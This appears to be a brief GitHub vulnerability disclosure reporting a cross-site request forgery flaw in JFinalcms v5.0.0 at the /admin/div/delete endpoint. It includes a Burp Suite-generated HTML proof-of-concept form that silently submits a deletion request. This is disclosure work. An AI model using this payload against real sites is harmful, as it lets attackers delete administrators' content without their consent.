cms/CSRF exists at the deletion point of the custom table.md at main · cui2shark/cms · GitHub

target:https://gitee.com/heyewei/JFinalcms

version:v5.0.0

JFinalcms v5.0.0 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /admin/div/delete

create poc

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:8888/admin/div/delete" method="POST">
      <input type="hidden" name="ids" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

successed